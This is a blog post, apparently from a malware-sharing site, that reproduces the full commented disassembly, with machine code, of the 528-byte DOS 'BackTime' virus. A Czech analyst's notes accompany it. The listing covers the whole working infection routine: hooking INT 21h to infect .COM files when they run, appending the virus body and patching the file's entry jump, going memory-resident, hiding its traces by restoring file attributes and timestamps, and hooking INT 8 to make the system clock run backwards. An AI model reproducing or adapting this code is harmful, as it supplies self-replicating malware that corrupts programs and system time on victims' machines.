..:: Virus Trojan etc ::..

Listing Virus Backtime

Posted by: programmervb on: August 2, 2008

; �����������������������������������������������������������Ŀ
; �                                                           �
; �     V i r u s      B a c k T i m e    (delka 528 byte)    �
; �                                                           �
; �     Rozbor provedl: Milos Bina, leden 1991                �
; �                                                           �
; ������������������������������������������������������������� }

; datova tabulka
;
0000 E9BA634E6F     DB     e9,ba,63,4e,6f        ; prvnich 5 byte puvodniho pgmu
0005 426163         DB     'BackTime'
0008 6B54696D65
; techto 5 byte se bude nahravat na zacatek napadeneho pgmu
000D E9             DB     E9                    ; JMP near
000E DE6F           DW     ?                     ; novy start nakazeneho pgmu
0010 03AA           DW     AA03                  ; priznak nakazeni virem

0012 A5FE00F0       DD     ?                     ; puvodni adresa int 8
0016 4002F00D       DD     ?                     ; puvodni adr. int 21h
001A 5605F80C       DD     ?                     ; puvodni adr. int 24h
001E 2000           DW     ?                     ; attribut souboru
0020 2400           DW     ?                     ; datum vytvoreni souboru
0022 590E           DW     ?                     ; cas vytvoreni souboru

;     ����������������������������Ŀ
;          N O V Y    I N T  8    �
;     ������������������������������
0024 50             PUSH   AX                    ; uscova registru
0025 53             PUSH   BX
0026 51             PUSH   CX
0027 1E             PUSH   DS
0028 33C0           XOR    AX,AX
002A 8ED8           MOV    DS,AX
002C 8B1E6C04       MOV    BX,[046C]             ; bx=dolni slovo citace casu
0030 8B0E6E04       MOV    CX,[046E]             ; cx=horni slovo citace casu
0034 4B             DEC    BX                    ; �
0035 7109           JNO    0040                  ; �
0037 49             DEC    CX                    ; �  uprava systemoveho
0038 7106           JNO    0040                  ; �  casu
003A BBAF00         MOV    BX,00AF               ; �
003D B91800         MOV    CX,0018               ; �  cas misto, aby rostl,
0040 4B             DEC    BX                    ; �  tak klesa
0041 7109           JNO    004C                  ; �
0043 49             DEC    CX                    ; �
0044 7106           JNO    004C                  ; �
0046 BBAF00         MOV    BX,00AF               ; �
0049 B91800         MOV    CX,0018               ; �
004C 890E6E04       MOV    [046E],CX             ; ulozeni noveho casu
0050 891E6C04       MOV    [046C],BX
0054 1F             POP    DS                    ; obnovi registry
0055 59             POP    CX
0056 5B             POP    BX
0057 58             POP    AX
0058 2EFF2E1200     JMP    Far CS:[0012]

;     ����������������������������Ŀ
;        N O V Y    I N T  2 1 h  �
;     ������������������������������
005D 3D004B         CMP    AX,4B00
0060 740D           JZ     006F
0062 3D03AA         CMP    AX,AA03               ; volana moje sluzba
0065 7503           JNZ    006A
; nastaveni priznaku, ze uz jsem v pameti
0067 86E0           XCHG   AH,AL                 ; vrati 03aah
0069 CF             IRET
; skok na puvodni int 21h
006A 2EFF2E1600     JMP    Far CS:[0016]

; o.k
006F 50             PUSH   AX                    ; uschova registru
0070 53             PUSH   BX
0071 51             PUSH   CX
0072 52             PUSH   DX
0073 1E             PUSH   DS
0074 06             PUSH   ES

0075 52             PUSH   DX                    ; uschova pro pouziti virem
0076 1E             PUSH   DS
; nastaveni datoveho segmentu
0077 8CC8           MOV    AX,CS
0079 8ED8           MOV    DS,AX
; cti adresu int 24h
007B B82435         MOV    AX,3524
007E CD21           INT    21
; uschova adresy int 24h
0080 891E1A00       MOV    [001A],BX
0084 8C061C00       MOV    [001C],ES
; nastaveni noveho int 24h
0088 BA6201         MOV    DX,0162
008B B82425         MOV    AX,2524
008E CD21           INT    21
; cte attributy souboru
0090 1F             POP    DS                    ; obnova ds:dx=^jmeno
0091 5A             POP    DX
0092 B80043         MOV    AX,4300
0095 CD21           INT    21
0097 7303           JNC    009C                  ; o.k - pokracujem
0099 E9AD00         JMP    0149                  ; chyba cteni -> konec
009C 2E890E1E00     MOV    CS:[001E],CX          ; uscova atributu souboru
; nastaveni attributu, ze neni Read_only, System ani Hidden
00A1 83E1F8         AND    CX,FFF8
00A4 B80143         MOV    AX,4301
00A7 CD21           INT    21
00A9 7303           JNC    00AE                  ; o.k
00AB E99B00         JMP    0149                  ; chyba -> konec

00AE 52             PUSH   DX                    ; uschova ukazatele na jmeno souboru
00AF 1E             PUSH   DS
; otevreni souboru pro cteni i zapis
00B0 B8023D         MOV    AX,3D02
00B3 CD21           INT    21                    ; v AX vraci identifikator
00B5 7303           JNC    00BA                  ; o.k
00B7 E98400         JMP    013E                  ; chyba -> konec
; cteni data a casu vytvoreni souboru
00BA 8BD8           MOV    BX,AX
00BC 8CC8           MOV    AX,CS
00BE 8ED8           MOV    DS,AX
00C0 B80057         MOV    AX,5700
00C3 CD21           INT    21
00C5 7273           JC     013A                  ; chyba -> konec
; uschova data a casu
00C7 89162000       MOV    [0020],DX
00CB 890E2200       MOV    [0022],CX
; cte prvnich 5 byte ze souboru na svuj zacatek ( adr. cs:0000)
00CF BA0000         MOV    DX,0000
00D2 B90500         MOV    CX,0005
00D5 B43F           MOV    AH,3F
00D7 CD21           INT    21
00D9 7252           JC     012D                  ; chyba -> konec
00DB 3BC1           CMP    AX,CX                 ; nacten pozadovany pocet byte?
00DD 724E           JC     012D                  ; nenacten -> konec
00DF 813E00004D5A   CMP    [0000],5A4D           ; EXE soubor
00E5 7446           JZ     012D                  ; je to EXE -> konec
00E7 813E030003AA   CMP    [0003],AA03           ; test, je-li soubor nakazen
00ED 743E           JZ     012D                  ; soubor uz nakazen
; nastav ukazatel v souboru na jeho konec
00EF 33C9           XOR    CX,CX
00F1 33D2           XOR    DX,DX
00F3 B80242         MOV    AX,4202
00F6 CD21           INT    21
00F8 7233           JC     012D                  ; chyba -> konec
00FA 0BD2           OR     DX,DX
00FC 752F           JNZ    012D                  ; soubor>64KB -> konec
00FE 3D60EA         CMP    AX,EA60
0101 732A           JNC    012D                  ; delka>=ea60 -> konec
; vypocet nove startovni adresy
0103 056201         ADD    AX,0162
0106 A30E00         MOV    [000E],AX             ; uschova nove startovni adr
; pripsani vira k souboru
0109 33D2           XOR    DX,DX                 ; cs:dx=adresa dat
010B B91002         MOV    CX,0210               ; cx=pocet byte k zapisu
010E B440           MOV    AH,40
0110 CD21           INT    21
0112 7219           JC     012D                  ; chyba zapisu -> konec
0114 3BC1           CMP    AX,CX
0116 7215           JC     012D                  ; nebyl zapsan prislusny pocet byte
; nastav ukazatel v souboru na jeho zacatek
0118 33C9           XOR    CX,CX
011A 33D2           XOR    DX,DX
011C B80042         MOV    AX,4200
011F CD21           INT    21
0121 720A           JC     012D                  ; chyba pusunu -> konec
; zapis do souboru (prvnich 5 byte) = skok na vira
0123 BA0D00         MOV    DX,000D               ; adresa dat
0126 B90500         MOV    CX,0005               ; pocet byte
0129 B440           MOV    AH,40
012B CD21           INT    21
; obnova data a casu vytvoreni souboru
012D 8B0E2200       MOV    CX,[0022]             ; cas
0131 8B162000       MOV    DX,[0020]             ; datum
0135 B80157         MOV    AX,5701
0138 CD21           INT    21
; uzavri soubor
013A B43E           MOV    AH,3E
013C CD21           INT    21
; obnovi atributy souboru
013E 8B0E1E00       MOV    CX,[001E]             ; atribut
0142 1F             POP    DS                    ; ds:dx=^jmeno
0143 5A             POP    DX
0144 B80143         MOV    AX,4301
0147 CD21           INT    21
; obnova int 24h
0149 2EA11C00       MOV    AX,CS:[001C]
014D 8ED8           MOV    DS,AX
014F 2E8B161A00     MOV    DX,CS:[001A]
0154 B82425         MOV    AX,2524
0157 CD21           INT    21

0159 07             POP    ES                    ; obnova registru
015A 1F             POP    DS
015B 5A             POP    DX
015C 59             POP    CX
015D 5B             POP    BX
015E 58             POP    AX
015F E908FF         JMP    006A

;     ���������������������������������������Ŀ
;        docasny N O V Y    I N T   2 4 h    �
;     �����������������������������������������
0162 B003           MOV    AL,03
0164 CF             IRET

;     ����������������������������Ŀ
;             S T A R T           �
;     ������������������������������
0165 50             PUSH   AX                    ; uschova disku, ze keterho byl
                                                 ; program startovan
; vir zjistuje svoje umisteni v souboru
0166 E80000         CALL   0169                  ; skok na nasledujici instrukci
0169 5B             POP    BX                    ; bx=offset vira
; obnova prvnich 5 byte hostitele
016A BF0001         MOV    DI,0100               ; adresa cile prenosu
016D 8DB797FE       LEA    SI,[FE97+BX]          ; adresa puvodnich dat (=0000)
0171 B90500         MOV    CX,0005               ; pocet byte presunu
0174 FC             CLD
0175 F3A4           REP    MOVSB

0177 53             PUSH   BX                    ; uschova ofsetu
0178 B430           MOV    AH,30                 ; cti verzi DOS
017A CD21           INT    21
017C 3C03           CMP    AL,03
017E 5B             POP    BX                    ; obnova zasobniku
017F 727B           JC     01FC                  ; DOS<3.0 -> konec
; test, jesli uz je vir v pameti
0181 B803AA         MOV    AX,AA03               ; volani sluzby zjisteni pritomnosti
0184 CD21           INT    21
0186 3DAA03         CMP    AX,03AA
0189 7471           JZ     01FC                  ; uz je vir v pameti -> konec
; instalace do pameti
018B 8CC8           MOV    AX,CS
018D 48             DEC    AX
018E 8EC0           MOV    ES,AX                 ; es:0=^MCB
0190 53             PUSH   BX
0191 268B1E0300     MOV    BX,ES:[0003]          ; bx=pocet paragrafu zabranych pgmem
0196 81FB0020       CMP    BX,2000
019A 7260           JC     01FC                  ; zbyvajici pamet je mala, byl
                                                 ; by napadny -> konec
; zmenseni zabrane pameti 0 22 paragrafu
019C 83EB22         SUB    BX,0022
019F 90             NOP
01A0 8CC8           MOV    AX,CS
01A2 8EC0           MOV    ES,AX                 ; segment alokovaneho bloku
01A4 B44A           MOV    AH,4A
01A6 CD21           INT    21                    ; modifikace bloku pameti
01A8 5B             POP    BX
01A9 7251           JC     01FC                  ; chyba -> konec
01AB 53             PUSH   BX
; alokace pameti pro vir
01AC BB2100         MOV    BX,0021               ; pocet paragrafu
01AF 90             NOP
01B0 B448           MOV    AH,48                 ; alokuj pamet
01B2 CD21           INT    21
01B4 5B             POP    BX
01B5 7245           JC     01FC                  ; chyba -> konec
; uprava velikosti pouzitelne hostitelskym programem v PSP
01B7 48             DEC    AX                    ; ukazatel pred vir
01B8 A30200         MOV    [0002],AX             ; nastaveni mensiho MemTop v PSP
; nastaveni priznaku vlastnika pro pamet zabranou virem
01BB 8EC0           MOV    ES,AX
01BD 40             INC    AX
01BE 26A30100       MOV    ES:[0001],AX          ; vlastnik sam
; presun vira do zabrane oblasti pameti
01C2 8EC0           MOV    ES,AX
01C4 33FF           XOR    DI,DI                 ; nova adresa umisteni
01C6 8DB797FE       LEA    SI,[FE97+BX]          ; adresa zacatku vira
01CA B90801         MOV    CX,0108               ; pocet slov pro presun
01CD FC             CLD
01CE F3A5           REP    MOVSW
01D0 8ED8           MOV    DS,AX                 ; uschova adresy kopie viru
; cteni adresy INT 8
01D2 B80835         MOV    AX,3508
01D5 CD21           INT    21
; uschova adresy INT 8
01D7 891E1200       MOV    [0012],BX
01DB 8C061400       MOV    [0014],ES
; cteni adresy UNT 21h
01DF B82135         MOV    AX,3521
01E2 CD21           INT    21
; uschova adresy INT 21h
01E4 891E1600       MOV    [0016],BX
01E8 8C061800       MOV    [0018],ES
; nastaveni nove adresy INT 8 na CS:0024
01EC BA2400         MOV    DX,0024
01EF B80825         MOV    AX,2508
01F2 CD21           INT    21
; nastaveni nove adresy INT 21h na CS:005d
01F4 BA5D00         MOV    DX,005D
01F7 B82125         MOV    AX,2521
01FA CD21           INT    21
; konec prace
01FC 8CC8           MOV    AX,CS
01FE 8ED8           MOV    DS,AX                 ; obnova DS
0200 8EC0           MOV    ES,AX                 ; obnova ES
0202 58             POP    AX                    ; obnova AX
0203 BB0001         MOV    BX,0100               ; start. adresa COM souboru
0206 53             PUSH   BX
0207 C3             RET                          ; skok na hostitelsky program

0208 EF0B8C1E       DB     8 DUP (?)             ; zaokrouhleni na paragaraf
020C 070D8C1E

Leave a Reply